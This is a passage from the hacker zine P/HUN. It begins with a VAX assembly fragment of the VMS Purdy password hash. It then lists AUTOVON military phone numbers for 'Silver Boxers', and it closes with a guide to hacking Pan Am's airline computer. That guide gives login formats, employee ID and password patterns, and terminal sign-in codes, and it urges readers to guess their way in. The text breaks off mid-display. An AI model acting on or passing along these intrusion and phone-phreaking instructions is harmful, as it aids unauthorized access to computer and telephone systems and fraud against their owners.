#-8,R0,R1 ADDB2 (R2)+,(R4)[R1] SOBGTR R0,10$ 20$: RSB a=59 n0=1@24-3 n1=1@24-63 .ENTRY PURDY,^M MOVQ @4(AP),-(SP) BSBW PQMOD_R0 MOVAQ (SP),R4 MOVAQ PURDY_POLY,R5 MOVQ (R4),-(SP) PUSHL #n1 BSBB PQEXP_R3 MOVQ (R4),-(SP) PUSHL #n0-n1 BSBB PQEXP_R3 MOVQ (R5)+,-(SP) BSBW PQADD_R0 BSBW PQMUL_R2 MOVQ (R5)+,-(SP) MOVQ (R4),-(SP) BSBW PQMUL_R2 MOVQ (R5)+,-(SP) BSBW PQADD_R0 MOVQ (R4),-(SP) BSBB PQMUL_R2 MOVQ (R5)+,-(SP) BSBW PQADD_R0 MOVQ (R4),-(SP) BSBB PQMUL_R2 MOVQ (R5)+,-(SP) BSBW PQADD_R0 BSBW PQADD_R0 MOVQ (SP)+,@4(AP) MOVL #1,R0 RET PQEXP_R3: POPR #^M MOVQ #1,-(SP) MOVQ 8+4(SP),-(SP) TSTL 8+8(SP) BEQL 30$ 10$: BLBC 8+8(SP),20$ MOVQ (SP),-(SP) MOVQ 8+8(SP),-(SP) BSBB PQMUL_R2 MOVQ (SP)+,8(SP) CMPZV #1,#31,8+8(SP),#0 BEQL 30$ 20$: MOVQ (SP),-(SP) BSBB PQMUL_R2 EXTZV #1,#31,8+8(SP),8+8(SP) BRB 10$ 30$: MOVQ 8(SP),8+8+4(SP) MOVAQ 8+8+4(SP),SP JMP (R3) u=0 v=u+4 y=u+8 z=y+4 PQMOD_R0: POPR #^M CMPL v(SP),#-1 BLSSU 10$ CMPL u(SP),#-a BLSSU 10$ ADDL2 #a,u(SP) ADWC #0,v(SP) 10$: JMP (R0) PQMUL_R2: POPR #^M MOVL SP,R2 PUSHL z(R2) PUSHL v(R2) BSBB EMULQ BSBB PQMOD_R0 BSBB PQLSH_R0 PUSHL y(R2) PUSHL v(R2) BSBB EMULQ BSBB PQMOD_R0 PUSHL z(R2) PUSHL u(R2) BSBB EMULQ BSBB PQMOD_R0 BSBB PQADD_R0 BSBB PQADD_R0 BSBB PQLSH_R0 PUSHL y(R2) PUSHL u(R2) BSBB EMULQ BSBB PQMOD_R0 BSBB PQADD_R0 MOVQ (SP)+,Y(R2) MOVAQ Y(R2),SP JMP (R1) EMULQ: EMUL 4(SP),8(SP),#0,-(SP) CLRL -(SP) TSTL 4+8+4(SP) BGEQ 10$ ADDL2 4+8+8(SP),(SP) 10$: TSTL 4+8+8(SP) BGEQ 20$ ADDL2 4+8+4(SP),(SP) 20$: ADDL2 (SP)+,4(SP) MOVQ (SP)+,4(SP) RSB PQLSH_R0: .ENABLE LSB POPR #^M PUSHL v(SP) PUSHL #a BSBB EMULQ ASHQ #32,Y(SP),Y(SP) BRB 10$ PQADD_R0: POPR #^M 10$: ADDL2 u(SP),y(SP) ADWC v(SP),z(SP) BLSSU 20$ CMPL z(SP),#-1 BLSSU 30$ CMPL y(SP),#-a BLSSU 30$ 20$: ADDL2 #a,y(SP) ADWC #0,z(SP) 30$: MOVAQ Y(SP),SP JMP (R0) .END =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= = P/HUN Issue #3, Volume 2: Phile #4 of 11 = =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= The Automatic Voice Network (AUTOVON) Outline PART I ---------------------------------------------------- Typed by: DareDevil P/HUN Magazine Inc. I am back from my long trip from London which turned out to be very intresting. I met a couple of Hackers and Phreakers who were very willing to share information with me. From what they say Hacking European Computers seems to be an easy task. Anyway..... Heres something for you Silver Boxers. Hope this helps a little. The next 2 parts will continue in the later issues of P/HUN. o--------------------------------------------------------------o (To reach these installations from "DoD Numbers Only") AUTOVON Listing Information Dial "0" AUTOVON Access - Dail "8" Listen for the tone,then the AUTOVON Number --------------------------------------------------------------------- INCOMING AUTOVON CODES ---------------------- COMMERCIAL AUTOVON | COMMERCIAL AUTOVON -------------------------------------|------------------------------------- 227 Exchange 287 Plus four digits | 437 Exchange 364 Plus four digits 238 " 251 " | 475 " 335 " 272 " 285 " | 490 " 356 " 274 " 284 " | 576 " 291 " 282 " 292 " | 653 " 294 " 284 " 251 " | 692 " 222 " 285 " 356 " | 693 " 223 " 295 " 295 " | 694 " 224 " 325 " 221 " | 695 " 225 " 355 " 345 " | 696 " 226 " 373 " 243 " | 697 " 227 " 394 " 290 " | 746 " 286 " 427 " 291 " | 756 " 289 " 433 " 288 " | 763 " 293 " 463 " 296 " | 767 " 297 " -------------------------------------+------------------------------------- AUTOVON Access to The Pacific European-Carribean Area IS NOT available through the DoD Exchanges. Theses calls must be placed through the appropriate Military Switchboard serving your activity or by COML means. ALABAMA ------- Adj Gen Natl, Montgomery ........................................ 363-72XX Oper Asst. 363-7210 Air Force Air Univ, Maxell AFB................................... 875-XXXX Info Oper. 875-1110 Oper Asst. 436-3700 Air Natl Gd 117th Tac Recon Gp,Birmingham........................ 694-2XXX Oper Asst. 694-2210 187th Tac Recon Gp, Montgomery.......................... 742-9XXX Oper Asst. 485-9210 232nd Mob Comm Sqd, " ................................. 485-XXXX Oper Asst. 742-9210 Anniston Army Depot.............................................. 571-XXXX Oper Asst. 571-1110 Army Msl Cmd, Redstone Arsl...................................... 746-XXXX Info Oper. 746-0011 Coast Guard Avn Spt Tng Cen, Mobile.............................. 436-3635 Def Contr Admin Svcs Mgt Area, Birmingham........................ 340-1XXX Oper Asst. 340-1000 Fort McClellan, Anniston......................................... 865-XXXX Oper Asst. 865-1110 Gunter AFB, Montgomery........................................... 446-XXXX Oper Asst. 446-1110 Maxwell AFB, " .................................................. 875-XXXX Info Oper. 875-1110 Mil Tfc Mgt Cmd (MTMC) EA Mob Det Gulf Outport Mobile............ 436-3830 Outport Mobile.................................................. 746-XXXX Redstone Arsl,HUntsville......................................... 746-XXXX Info Oper. 746-XXXX U.S Property & Fiscal Ofc (USPFO) Natl Gd, Montgomery............ 363-7316 ALASKA ------ Adj Gen Natl Ge, Anchorage................................... 317-626-1299 Mil Actvities , Neklason Lake................................ 317-950-1211 Alaska Switch,Neklason Lake.................................. 317-950-1211 Cmdr in C Alaska (CINCAL), Elmendorf AFB..................... 317-552-3100 Oper Assit. 317-753-2228 Coast Guard COMCOGARD 17 Hq , Juneau......................... 317-388-7XXX Oper Assit. 317-388-7011 Coast Guard Kodiak........................................... 317-487-5XXX Oper Assit. 317-487-5888 Def Comm Agcy,Alaskan Region(DCA-AL) Elmendorf............... 317-552-XXXX Oper Assit. 317-552-1110 Commander.............................................. 317-943-1212 Def Commercial Comm Ofc,Alaska,Elmendorf AFB........... 317-552-3132 Defense Fuel Region,Elmendorf AFB............................ 317-552-3760 Eielson AFB, Fairbanks....................................... 317-37X-XXXX Info Oper Only. 317-372-1191 Elmendorf AFB,Anchorage...................................... 317-552-XXXX Info. 317-552-1110 Oper Assit. 317-552-1110 Fed Avn Agcy - Alaskan Rdn Hg, Anchorage..................... 317-552-XXXX Oper Assit. 317-552-1110 Comm Con Cen............................................ 317-552-1212 Fort Greely,Delta Junction................................... 317-87X-XXXX Info Oper. 317-872-1113 Oper Assit. 317-864-0121 Fort Wainright, Fairbanks.................................... 317-35X-XXXX Info Oper. 317-353-9113 Oper Assit. 317-353-9121 Nav Actvities,Adak........................................... 317-592-XXXX Oper Assit. 317-592-0111 US Property & Fiscal Ofc (USPFO) Natl Gd, Ft Richardson...... 317-862-8116 ARIZONA ------- A Comm-Hq,Ft Huachuca........................................... 879-XXXX Oper Assit. 879-0111 USACC HQS EAC............................................... 626-1720 Adj Gen Natl Gd, Phoenix........................................ 853-8710 Air Natl Gd 161st Mil Airlift Gp, Phoenix....................... 853-8710 Oper Assit. 853-9210 David Monthan AFB, Tucson....................................... 361-XXXX Oper Assit. 361-1110 Tac Cmd Post................................................ 626-1655 Def Contr Admin Svcs Mgt Area, Phoenix.......................... 940-XXXX Oper Assit. 940-1110 Fort Huachuca, Sierra Vista..................................... 879-XXXX Oper Assit. 879-0001 Luke AFB,Glendale............................................... 853-XXXX Oper Assit. 853-1110 Cmd Post Duty Officer...................................... 727-3950 " ...................................... 626-1690 Marine Corps Air Sta, Yuma...................................... 951-XXXX Oper Assit. 951-3011 Mil Acft Star & Disp Cen,Tucson................................. 361-XXXX Oper Assit. 361-1110 Natl Gd State Maint Ofc, Phoenix................................ 853-8810 US Property & Fiscal Ofc (USPFO) Natl Gd, Phoenix............... 853-8821 Williams AFB, Chandler.......................................... 474-XXXX Oper Assit. 474-1011 Yuma Proving Grounds............................................ 899-XXXX Oper Assit. 899-1110 After Hours. 899-2020 1st Cbt Eval Gp Det 2 (SAC) Holbrook............................ 626-3430 ARKANSAS -------- Adj Gen Natl Gd, Little Rock.................................... 731-5200 Air Natl Gd 188th Tac Recon Gp, Ft Smith........................ 962-8XXX Blytheville AFB................................................. 721-XXXX Oper Assit. 721-1110 Fort Chaffee,Ft Smith........................................... 962-2XXX Oper Assit. 962-2111 Little Rock AFB................................................. 731-XXXX Oper Assit. 731-1110 Pine Bluff Arsl................................................. 966-3XXX Oper Assit. 966-3798 US Property & Fiscal Ofc(USPFO) Natl Gd,Little Rock............. 731-5253 CALIFORNIA ---------- Adj Gen Natl Gd, Sacramento..................................... 466-6531 Air Force Aero Sta, McClelland AFB.............................. 730-3760 Air Force Contr Mgr Div AFSC, Los Angeles AFS................... 833-1837 Oper Assit. 833-1110 Air Force Flt Test Cen,AFSC, Edwards AFB........................ 527-XXXX Oper Assit. 527-0111 Air Force Satl Comm Fac Hq, Los Angeles......................... 833-XXXX Oper Assit. 833-1110 Air Force Satl Test Ctr, Sunnyvale.............................. 359-3XXX Oper Assit. 359-3110 144th Air Def Wg, Fresno.......................... 949-9XXX Oper Assit. 949-9210 146th Mil Airlift Wg, Van Nuys.................... 873-6XXX Oper Assit. 873-6310 148th Comm Sqd, Compton........................... 898-1895 149th Comm Sqd, Highlands......................... 633-2582 162nd Comm Gp, N Highlands........................ 633-2582 216 Equip & Inst Squd, Hayward.................... 462-5637 222nd Mob Comm Sqd, Costa Mesa.................... 833-0459 234th Mob Comm Sqd, Hayward....................... 462-1746 America Forces Radio & TV Svc, Los Angeles...................... 898-1746 Armed Forces Reserve Ctr, Los Angeles........................... 972-8XXX Oper Assit. 972-8011 Army Audit Agcy Western Region, Sacramento...................... 839-2241 Oper Assit. 839-1110 Ballistic Sys Div Af Sys Cmd, Norton AFB........................ 876-XXXX Oper Assit. 876-1110 Beale AFB, Marsville............................................ 368-XXXX Oper Assit. 368-1110 Camp Pendelton Marine Corps Base,Oceanside...................... 365-XXXX Oper Assit. 365-0111 Castle AFB, Merced.............................................. 347-XXXX Oper Assit. 347-1110 Centerville Beach Nav Fac, Ferndale............................. 896-3381 Coast Guard COMCOGARD 11 Hq, Long Beach......................... 360-7961 12 Hq,(RCC Only), San Francisco................... 730-3471 Montery......................................................... 629-1561 Cmdr Submarine Flottilla Five, San Diego........................ 933-XXXX Oper Assit. 933-1011 Def Conrt Admin Svcs Reg Svcs Reg/Mgt Area, Los Angeles......... 833-XXXX Info Oper. 833-2226 Oper Assit. 833-1110 Def Contr Admin Svcs Mgt Area, Santa Ana........................ 873-2XXX Oper Assit. 873-2700 San Diego.......................................... 542-XXXX Oper Assit. 524-0111 Van Nuys........................................... 972-3XXX Info Oper. 972-3319 San Francisco...................................... 466-9XXX Info Oper. 466-9500 Defense Depot, Tracy............................................ 462-9XXX Oper Assit. 462-9110 Def Fuel Region West San Pedro.................................. 833-2876 Def Language Institute, Presidio of Monterey.................... 929-XXXX Oper Assit. 929-1110 Def Pers Spt Cen, Alameda....................................... 686-3006 Def Manpower Data Center, Monterey.............................. 878-2951 Edwards AFB..................................................... 527-XXXX Info Oper. 527-0111 FAA Los Angeles Air Rt Trc Con Cen, Palmdale.................... 898-1290 FAA Oakland Air Rt Trf Con Cen, Fremont......................... 730-1595 Flt Air Con & Surv Fac (FACSFAC) TCC/OC Only, San Diego......... 727-3925 Flt Anal Cen, Corona............................................ 933-XXXX Oper Assit. 933-0111 Flt Anti-Sub Warefare Sch, San Diego............................ 524-XXXX Oper Assit. 524-0111 Fort Irwin, Barstow............................................. 470-XXXX Oper Assit. 470-0111 Fort Mason, San Francisco....................................... 586-XXXX Oper Assit. 586-1110 Fort Ord, Monterey.............................................. 929-XXXX Oper Assit. 929-1110 George AFB, Victorville......................................... 353-XXXX Oper Assit. 353-1110 German Mil Rep to USA/Cent Area, Long Beach NS.................. 360-0111 Letterman Genral Hospital, San Francisco........................ 586-XXXX Oper Assit. 586-2231 Los Angeles AFS................................................. 833-XXXX Oper Assit. 833-1110 Info Oper. 989-1780 MLP Oper. 838-XXXX March AFB, Riverside............................................ 947-XXXX Oper Assit. 947-1110 Marine Corps AirSta, El Toro.................................... 524-XXXX Oper Assit. 997-3011 Rctg Depot, San Diego........................ 524-XXXX Info Oper. 524-1011 Log Sup Base, Barstow........................ 282-XXXX Oper Assit. 282-0111 Marine Corps Air Ground Combat 29 Palms.................... 952-5XXX/6XXX Oper Assit. 952-6000 Mather AFB, Sacramento.......................................... 828-XXXX Oper Assit. 828-1110 McClellan AFB, Sacramento....................................... 633-XXXX Oper Assit. 633-1110 AUTODIN Tech Con, Sacramento..................... 730-1493 MCS Office Long Beach........................................... 360-6645 Mil Tfc Mgt Cmd (MTMC) WA HQ Oakland Army Base.................. 859-XXXX Oper Assit. 859-0111 WA MOT Bat Area.................................. 859-XXXX WA S/CA Outport SAn Pedro OPER Asst.............. 853-1650 MTMC WA MATCO Norton AFB CA...................... 876-XXXX MTMC WA MATCO Norton AFB OPER Asst............... 876-1110 MTMC WA MATCO Travis AFB CA...................... 837-XXXX MTMC WA MATCO Travis AFB OPER Asst............... 837-1110 Natl Gd State Maint Ofr, Sacramento............................. 466-6571 Oper Assit. 466-6605 Natl Parachute Test Range, El Centro............................ 958-8XXX Oper Assit. 958-8212 Non-Duty Hours. 958-8547 Nav Air Sta, Alameda............................................ 686-0111 Imperial Beach................................... 951-0111 Lemoore.......................................... 949-0111 Miramir.......................................... 577-XXXX Oper Assit. 577-1011 Moffett Fld, Sunnyvale........................... 462-0111 COM NAS North Island............................. 951-0111 Nav Amph Base - Coronado, San Diego............................. 577-XXXX Oper Assit. 577-2011 Nav Comm Sta, NavOp Radio and Tele(NORATS), San Diego........... 958-3XXX Oper Assit. 958-3011 San Francisco, Stockton........................... 466-7444 " " Tech Con, Stockton................. 730-1581 Nav Const Bn Cen, Port Hueneme.................................. 360-XXXX Oper Assit. 360-4001 Cdmr Nav Base, San Diego.......................... 958-3011 Nav Hosp, Long Beach............................................ 873-9XXX Oper Assit. 873-9011 Oakland........................................... 855-XXXX Oper Assit. 855-5000 San Diego......................................... 522-6011 OIC of Navy Const, Mare Island.................................. 253-XXXX Oper Assit. 253-2101 Mare Isl Vallejo.................................. 253-XXXX Oper Assit. 253-0111 Nav Ocean Sys Ctr............................................... 553-XXXX Oper Assit. 533-0111 Nav Shp Wpn Sys Engr Sta, Port Hueneme.......................... 360-XXXX Oper Assit. 360-4711 Nav Sta, Long Beach............................................. 360-XXXX Oper Assit. 360-0111 Nav Sta, San Diego.............................................. 958-XXXX Oper Assit. 958-0111 Nav Sta, Treasure Island, San Francisco......................... 869-XXXX Duty Off 869-6233 Oper Assit. 869-6411 Non Duty Hrs. 869-6233 Nav Sup Cen, Oakland............................................ 836-XXXX Oper Assit.836-0111 Info Oper 836-4011 San Diego........................................ 522-XXXX Oper Assit. 522-1011 Nav Tng Cen, San Diego.......................................... 524-XXXX Oper Asst. 524-0111 Nav Tng Cmd Pac Fleet, San Diego................................ 524-XXXX Oper Assit. 524-0111 NAVSURFPAC, San Diego........................................... 958-9XXX Oper Assit. 958-9101 South Pac, Moffet Fld........................................... 462-XXXX Oper Assit. 462-0111 Nav Wpns Cen China Lake......................................... 437-XXXX Oper Assit. 437-9011 Nav Wpns Sta, Concord........................................... 253-5111 Nav Wpns Sta Steal Beach........................................ 873-7XXX Oper Assit. 873-7000 Navy Post Grauduate School, Monterey............................ 878-XXXX Oper Assit. 878-0111 Norton AFB, San Bernardino...................................... 876-XXXX Oper Assit. 876-1110 AUTODIN Tech Con................................. 898-3944 Oakland Army Base............................................... 859-XXXX Oper Assit. 859-0111 Pacific Msl Test Cen, Point Mugu................................ 351-XXXX Oper Assit. 351-1110 Pasadena Fed Cen................................................ 879-5011 Point Sur Nav Fac, Big Sur...................................... 629-1470 Presidio of San Francisco....................................... 586-XXXX Oper Assit. 586-1110 Rio Vista....................................................... 586-5837 Riverbank Army Ammo Plt......................................... 466-4100 Sacramento Air Log Cen.......................................... 633-XXXX Oper Assit. 633-1110 Sacramento Army Depot........................................... 839-XXXX Oper Assit. 839-1110 Sharpe Army Depot, Lathrop...................................... 462-2XXX Oper Assit. 462-2011 Sierra Army Depot, Herlong...................................... 830-9XXX Oper Assit. 830-9910 Space & Msl Sys Org, Los Angeles................................ 833-XXXX Oper Assit. 898-1780 Travis AFB, Fairfield........................................... 837-XXXX Oper Assit. 837-1110 22nd AF Tac Cmd Post............................ 730-1410 22nd AF Tac PBX................................. 869-3480 USPFO Natl Gd, San Luis Obispo.................................. 879-9201 Oper Assit. 878-9211 Vanderberg AFB, Lompox.......................................... 27X-XXXX Oper Assit. 276-1110 West Div Nav Fac Engr Cmd, San Bruno............................ 859-XXXX Oper Assit. 859-7111 6th Army Presidio of San Francisco.............................. 586-1110 15th Air Force wea Spt Unit, March AFB.......................... 727-1647 END OF PART 1 DDDDDDDDDDDDDD The file is getting rather long and dont want to bore people with long lists of numbers therefore, Part ][ & Part ]I[ will be on later issues of P/HUN Online Magazine. DareDevil at P/HUN Magazine Inc. =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= = P/HUN Issue #3, Volume 2: Phile #5 of 11 = =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= /X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X X / / The Pan Am Airline Computer (c) 1994 "PART A" X X --------------------------------------------- / / X X By Red Knight / / X X A P/HUN Magazine Incorporation Productions. / / X X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/X/ Introduction: ------------- Ever wondered how the airline computers work? Well this article will inform you as to various information,commands etc. The more you know about them the more favors you can ask of them. I will go into details on how they go about booking actual flights so you get an understanding on how its done. The article will have actual outputs etc and explained in depth. The best way to explain to first understand the PANAMAC computer. Then you can go on and hack the main Pan Am computer because all the commands are the same. What is PANAMAC?: ---------------- PANAMAC are computers Pan Am's Sales Agent use for booking flights, answering our various questions on arrivals,departures,visa etc.This is only a small percentage of the questions.PANAMAC is full of info. Where can you find answers to the these questions: - What is a DH7 aircraft - How many passengers were their in flight P2308 last month - What will be the bus fair when traveling from Mombasa to Nairobi in Kenya - What does SXR represent - Information on carrying pets - Where does one go for yellow fever shot in Kansas or anywhere in USA - What is the departure tax from from anywhere in the world - How many ciggerates is one allowed to take from USA to Pakistan - Where to stay - Which hotels? - Weather conditions in a particular country - Flight delays Get my drift? Well the above questions can be answered using the PANAMAC. PANAMAC is manufactured by ICOT. Logging On to The Main Pan-Am Computer: (Not the PANAMAC ) DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD [This particular info on logging on was acquired from a Pan-Am employee] DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD This is the most hardest part of all. While logging on to the Pan Am computer you will not see any type of an identifier. These system use E,7,1 characterists. Enter as follows: ".Nodes" or ".N" then the Node Identifier: The Node identifier: DDDDDDDDDDDDDDDDDDDD This part of info will contain the NPA a person is calling from and then followed by a 7 digit access number in which last two are the state abb. An example would be: 71811355NY Its a high possiblity that the "11355" could be a zip code The Person ID: DDDDDDDDDDDDDD After the Node Identifier enter: .PI [ (NPA,8 Alpha Numeric Chracters which first being a letter) Password DDDDDDDD The password is assigned to the employees which is supposed to be 6 to 8 characters alphanumeric with first being usually "P" Enter Password using ".P" or ".PASSWORD" (No echo) (After this you will get a long pause for about 1 min) Then if you guessed wrong then it will log you off. Your in!!! DDDDDDDDDD If you have made it so far then you are a hell of Hacker and you have my full respect. After you have entered correct information then you will get a message like this: Pan Am Airlines (4854.00PA) Unauthorized Access will lead to a prosecution. > ( This is the SOM Prompt) (After that you will get a "SOM" prompt. Then from here on your home free. The SOM is there for you. Almost all the commands in the PANAMAC will work on their Main Computer. DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD ** NOTICE ,READ CAREFULLY ** >From here on the article will deal with PANAMAC Airline Computer which your sales agent uses to book you a flight and give you information. You wont be able to call these up tho, but rather use the infomation provided here when you hack the Main Pan-Am Airline Computer. (Process is described above) I repeat, all the commands are on The PANAMAC will work on the Main Computer. DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD Basic PANAMAC hardware: ----------------------- A set consists of a display screen, standard type writer key board with row of function keys along the top. There will also be a block of keys to the right of the main key board and another block of keys to the far right. I will explain almost all the keys on the board.The keyboard is a little different from the regular IBM keyboards. Basic Layout of a PANAMAC keyboard DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD ____________________________________________________________________________ | | | +----------------------------------------------------------------------+ | | | F U C T I O N K E Y S | | | +----------------------------------------------------------------------+ | | | | +---------------------------------------+ +---------+ +---------------+ | | | | | cursor | | | | | | | | keys | | | | | | | | Next | | PF 1-30 | | | | Basic Keyboard with twin functions | | Part | | 15 keys | | | | invoked by ALT + [Key] | | Delete | | | | | | | | etc. | | | | | | | | | | | | | +---------------------------------------+ +---------+ +---------------+ | |___________________________________________________________________________| Here is a list that are used the most.The rest that I did not go into details are almost never used. (They can be invoked by using the ALT plus the approriate key) For eg. The (CALC) - Use to get into calculator mode. +------+ | Z | ALT + +------+ ----> CALCULATOR MODE | CALC | +------+ (CHNG SCRN) - Changes from one screen to the second screen. (CHANGE) - Used when changing name entries. (RESET) - to reset the system.Eg. IF you are in the CALC mode to use this return to regular mode. (IGN) - Used to ignore any transaction made like when you enter something for example in the PNR (Passenger Name & Record) and you dont wish to save the current format you would use the IGN. (XITN) -Cancel all itinerary in a PNR. The intinerary is the record of a flight (ARNK) - Arrival not known. (ET) - End Transaction. This store the the edited PNR. (GFAX) - General FACTS. Info on passengers that Pan Am & other airlines need to know. (FAX) - Host FACTS. Info on passengers that only Pan Am needs to know. (RMKS) - Remarks field to store misc info. (RCVD) - Received filed. Name of person who made the booking. (SEG) - Leave an open segment for a passenger who may want to return at an unknown date but is sure that he/she will travel by Pan Am. (IAS) - The "/" key is on the bottom of the keyboard. The letters "IAS" stand for Insert After Segement (will be used later in the article). (NAME) - Name of persons traveling eg. -3smith/sethmr/danmr/loydmr this is an eg. of an entry made if three person seth, dan, loyd were travelling a family obviosly having the same last name. (DSPL) - Display a PNR, history, itin etc. (CLEAR) - To clear the field that you are working in (To clear all fields press ALT - CLEAR)..Doesn' delete any info. (ALARM) - When you hear a "beep" use ALT-R (alarm) to clear the alarm. (SOM) - Start of message.You will receive a new start of message. (CLICK) - A toggel to switching on & off of the blinking of the cursor. (RDUC) - Reduce fares.This is to view fares on senior citizen, students etc. (ERASE) - A sort of a DEL key to delete the last character. (SHIFT) - Used to toggle the second mode of the key. (CALC) - To get to the calculator mode. (END-I) - Used to display domestic fairs. (END ITEM) - Used while inputing many name entries;Instead of using the . (ENTER) - Self explanatory. (EDIT FRMAT) - To transpose a copy from one field so another. (NEXT PART) - Move the cursor from one field to another. (INSERT CHAR) - Insert a character. (DELETE CHAR) - Erase a character between a word and moves up the rest of the word. (INSERT LINE) - To Insert a line. (DELETE LINE) - Self Exp. but cursor remains there. (PART) - Just like the cursor keys UP,DOWN,RIGHT,LEFT. (PF10) - To direct a command to the upper left field. (PF11) - " " " " " " " right ". (PF13) - " " " " " " bottom left ". (PF14) - " " " " " " " right ". Part II DDDDDDD SOM/CURSOR: ---------- When they first start, the screen is divided into 4 parts (dotted line line sepating the four fields.Each of those four field contains the SOM (this is PANAMAC prompt).The SOM looks like an equilateral triangle pointing towards the right.The cursor could be in any field or left of when last used. In this article the I have characterized the SOM as ">" Now to move to the next field one would use the "NEXT PART" key. SINNING IN (LOGGING IN): ------------------------ In order to use the PANAMAC the all sales agents have to sine in. Each user is assinged 2 things: 1) COLLINS SINE: - This is needed to sine in to the phone. 2) PANAMAC SINE: - This is needed to access the computer. COLLINS SINE: ------------- The COLLINS SINE is a code used to access the phone system to receive calls and make calls.This serves as an unlocking device The collins sine consists of 9 chracters.The first is always an asterisk the next two are CAPITALS letters almost always (SI) Here are some examples of COLLINS SINEs : *SI340450 *SI409321 *SI345090 *SI430092 By sinning into the telphone is exactly what I mean. One would enter in thru the touch tones (NOT THRU THE COMP) So therefore *SI30450 one would would enter the * ,74 for SI then the rest of the #s. Heres how the telephone key PAD looks : _________________________________________________________________ | ____________________________ _______ _______ _______ | | | | | | | REL | |EMGY | | CW | | | | | ABC | DEF | |_____| |_____| |______| | | | 1 | 2 | 3 | |DAIL | | | |________|________|________| |_____| | | | | | | |SUPV | | | | GHI | JKL | MNO | |_____| | | | 4 | 5 | 6 | | | |________|________|________| | | | | | | | | | PQR | TUV | WXY | | | | 7 | 8 | 9 | | | |________|________|________| _____ | | | * | 0 | # | | IN | | | |________|________|________| |_____| _____ | | | AVI | | RPT | | | |_____| |_____| | |_______________________________________________________________| Key Pad: -------- IN - The IN key on the telephone key pad serves as a hold button the key will blink when customer is on hold. AVI - (Available) is depressed when the sales agent is available for the next call. RPT - [Unknown] REL - (Release) Pushed when the sales agent doesn't want to be instantly available for the next call. Depress AVI before releasing call. DAIL - (out dail) - Depress the key and dial out. Method : 1) When asking for help 7714,7721,7713 2) Pantel (Used to call up the Pan Am airport) - 8XXX-XXXX 3) Local 212 Calls 9XXX-XXXX. 4) All others 8XXX-XXX-XXXX SUPV - When the sales people ask for assistance EMGY - This key is an important one. Suppose some one makes a bomb threat this key is immediatly depressed and the conversation is recorded in another room. The sales agents have been taught to keep them online as much as they can. CW - Will be used for Call Waiting in the future. PANAMAC SINE: ------------- The PANAMAC SINE in consists of 10 characters with BSIA (always) the first four. The next four are all numbers and the last 2 are letters which could be anything. Examples: BSIA0290KI BSIA8534PO BSIA3309DS Procedure: ---------- This is the procedure they follow: 1) Sine in to the telephone - *SI 2) Sine out - *SO ( the SO stands for sining out) 3) Sine in the computer - [PAMAMAC SINE] 4) Sine into the telephone Now the sales agent is ready to receive calls. General Information Index: -------------------------- PANAMAC contains most of the technical information that is needed by the the service representatives. To display (G)eneral (I)nformation (I)ndex you would input: >KIINF followed by the first letter of the subject desired. OUTPUT: KIABLA - Albany Airport Info KIATLA - Airport at Atlanta Georgia KIAULA KIABWA KIBOSA : etc ... : KIZAQE By just entering KIINF you would get all the KIINF Index from A to Z. You can take it as if the KIINF is a root directory and its divided into thousands of subdirectories. The letter KI actually stands for Key In followed by the INF for information. For example if you wanted to display general information on car rentals it would like this: >KIINFC (Type at the SOM) The system will list car-rental related files.Then all they do is retrieve it. Station Information File (CITY INDEX) ------------------------------------ PANAMAC also contains information about specific cities.To display the Index for a particular city, one is able to Key In (KI) and type in the three letter city code. So lets say you wanted some information about Atlanta : Type in: >KIATL This will display all of the files concerning Atlanta. Now to display a particular file to view one would enter KIATL plus the the letter code of the file name. Therefore if you wished to view the information on airports in Atlanta enter: >KIATLA you will have a screen filled with all sorts of information about the Airports in Atlanta. Examples of some Catagories of G.I.N ------------------------------------ Index Help On ----- ------- KISKDE - What type of Aircraft is an AB3 ? KIXXKU - What is the City Code for Kuala Lampur ? KICCCG - What is the currency code for Greek money and whats it called ? KITTA - What movies will be shown on the flights next month ? KIIHCH - Is there an Inter-Continental Hotel in Columbo ? KIBOMC - How many cigarettes are allowed for a passenger going to Bombay ? KINYCV - Where can one go to get a Yellow Fever shot on N.Y ? KIJFKT - How much will a taxi cost from JFK Airport into the city ? KILONK - What time did a flight PA 56 arrive in London this morning ? Its impossible to list all the Key Ins in this article. In future I may write up an article listing all of these. Part III DDDDDDDD Booking Pan Am Flights: ----------------------- To ask Panamac which flights are available on a specific day, you type a standard availability entry : >A 6JUNNYCMIA0900 Lets break it down: - The 'A' is always used.Its is the action code to request availability - The '6' is the departure date - The 'JUN' is obviously the first three letters of the month - 'NYC' is the origin city where the flight is taking off - 'MIA' is destination city which in this case would be Miami - and the '0900' is the time desired So therefore on a flight on 3rd of July from Nairobi to London at 1100 hours would be: >A3JULNBOLON1100 [spacing is optional] When requesting availabity FROM/TO codes should be CITY codes.This will allow Panamac to display the full schedule of flights operating FROM/TO all airports in that city,beginning with the time requested. For eg. If you request availability FROM/TO JFK,Panamac will only display flights that operate FROM/TO JFK but If you request availabilty FROM/TO NYC, Panamac will display flights operate FROM/TO JFK and LGA Availabity Display: ------------------- Panamac will display up to 6 lines of both direct and connecting services beginning with the Pan Am flights closest to the time requested. For eg: Lets assume that one the sales agent has made the following entry from Newyork city to Frankfurt: >A 18AUGNYCFRA1800 The Panamac will display the following output: 18 AUG-THU-PA HELI FREE PJ ALTERNATE SERVICE 1PA 72 PAJAYABOHA JFKFRA 1830 